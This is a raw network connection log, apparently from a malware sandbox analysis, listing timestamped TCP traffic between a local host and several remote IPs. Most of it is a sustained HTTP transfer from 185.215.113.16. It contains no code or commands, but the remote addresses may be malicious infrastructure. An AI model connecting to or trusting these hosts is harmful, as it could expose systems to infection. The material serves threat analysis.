Nov 23, 2024 15:22:37.919197083 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:37.943676949 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:37.944164038 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:37.944324017 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:38.038800955 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:38.038894892 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:38.039068937 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:38.039122105 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:38.039262056 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:38.063743114 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:38.158731937 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:38.246527910 CET	443	49844	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:38.246771097 CET	443	49844	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:38.246891975 CET	49844	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:38.249428034 CET	49844	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:38.249454975 CET	443	49844	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:38.923794031 CET	49854	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:38.923857927 CET	443	49854	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:38.923973083 CET	49854	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:38.924294949 CET	49854	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:38.924329042 CET	443	49854	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:39.072125912 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.072594881 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.072613955 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.073076010 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.073081017 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.221740007 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.222193956 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.222251892 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.222672939 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.222687960 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.226399899 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.226737976 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.226754904 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.227117062 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.227123022 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.321094990 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:39.321192026 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:39.323425055 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:39.413996935 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.414498091 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.414505959 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.414938927 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.414948940 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.417063951 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.417124033 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.417148113 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.417192936 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.417768002 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.417825937 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.417833090 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.417856932 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.417917013 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.418000937 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.418402910 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.418431997 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.418706894 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.418766022 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.418800116 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.418826103 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.418854952 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.418884993 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.418900013 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.419542074 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.419595003 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.419903994 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.420128107 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.428956985 CET	49780	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:39.428997040 CET	49846	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:39.442958117 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:39.519545078 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.519607067 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.519771099 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.519783974 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.519921064 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.519929886 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.519942999 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.520235062 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.520303011 CET	443	49847	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.520651102 CET	49847	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.522747993 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.522758961 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.522898912 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.523036003 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.523049116 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.537036896 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.537134886 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.537197113 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.541137934 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.541310072 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.543214083 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.543272018 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.543288946 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.543370962 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.548770905 CET	80	49780	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:39.548846006 CET	49780	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:39.549319983 CET	80	49846	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:39.549386024 CET	49846	80	192.168.2.4	185.215.113.43
Nov 23, 2024 15:22:39.619076967 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.619142056 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.619194984 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.619251966 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.623234987 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.623291016 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.623390913 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.623455048 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.631603003 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.631654024 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.631668091 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.631741047 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.640023947 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.640079975 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.640091896 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.640137911 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.648389101 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.648473978 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.648514986 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.648586035 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.656755924 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.656883955 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.656948090 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.665152073 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.665224075 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.665281057 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.665343046 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.673512936 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.673571110 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.673645973 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.673698902 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.674120903 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.677474976 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.677531958 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.677599907 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.677601099 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.677637100 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.677695990 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.679203987 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.680607080 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.680653095 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.680736065 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.680886030 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.680902004 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.681128025 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.681190014 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.681293964 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.681822062 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.682054996 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.682440042 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.682471991 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.682477951 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.682487011 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.682490110 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.684587002 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.684626102 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.684694052 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.684813976 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.684829950 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.688793898 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.688874960 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.688915968 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.688978910 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.696382046 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.696516991 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.781681061 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:39.781795979 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:39.782867908 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:39.792094946 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.792172909 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.792239904 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.792285919 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.795846939 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.796159029 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.820389032 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.820492983 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.820519924 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.820574999 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.822937012 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.823004007 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.823091030 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.823158026 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.827969074 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.828293085 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.828355074 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.833010912 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.833113909 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.833173990 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.838041067 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.838105917 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.838176966 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.838232994 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.843199015 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.843255997 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.843358994 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.843739033 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.848146915 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.848206997 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.848278999 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.848340034 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.853220940 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.853276014 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.853295088 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.853322983 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.857314110 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.857467890 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.857530117 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.857657909 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.857657909 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.857662916 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.857670069 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.858170986 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.858283043 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.858470917 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.858532906 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.860837936 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.860869884 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.860946894 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.861210108 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.861222982 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.862859964 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.863004923 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.863293886 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.863360882 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.863367081 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.863415956 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.863415956 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.863415956 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.863415956 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.863445044 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.863466978 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.865484953 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.865519047 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.865613937 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.865726948 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:39.865752935 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:39.868278980 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.868496895 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.868561029 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.873347044 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.873383045 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.873411894 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.873437881 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.878441095 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.878505945 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.878586054 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.878640890 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.883404016 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.883547068 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.883642912 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.883697033 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.888434887 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.888493061 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.888725042 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.888781071 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.893600941 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.893665075 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.893760920 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.893851995 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.898467064 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.898535967 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.898555994 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.898627996 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.902308941 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:39.903467894 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.903528929 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.903558016 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.903665066 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.908498049 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.908561945 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.908593893 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.908649921 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.913561106 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.913639069 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.913682938 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.913803101 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.918622971 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.918680906 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.993288040 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.993347883 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.993376970 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.994082928 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.995570898 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.995640039 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:39.995682001 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:39.995805979 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.000106096 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.000169039 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.021809101 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.021869898 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.021879911 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.022790909 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.022831917 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.022900105 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.022938013 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.023016930 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.026741028 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.026813030 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.026875019 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.026936054 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.030471087 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.030607939 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.030670881 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.035176992 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.035229921 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.035233974 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.035295010 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.039438963 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.039474964 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.039613962 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.043051958 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.043226004 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.043268919 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.043302059 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.045346975 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.045401096 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.045444012 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.045444012 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.048692942 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.048760891 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.048824072 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.048882961 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.052221060 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.052295923 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.052340031 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.052397966 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.055820942 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.055855989 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.055882931 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.055912018 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.059364080 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.059427977 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.059777021 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.059840918 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.062908888 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.062972069 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.062980890 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.063051939 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.066405058 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.066473007 CET	49853	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:40.066545010 CET	80	49853	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:40.066699028 CET	49853	80	192.168.2.4	185.215.113.16
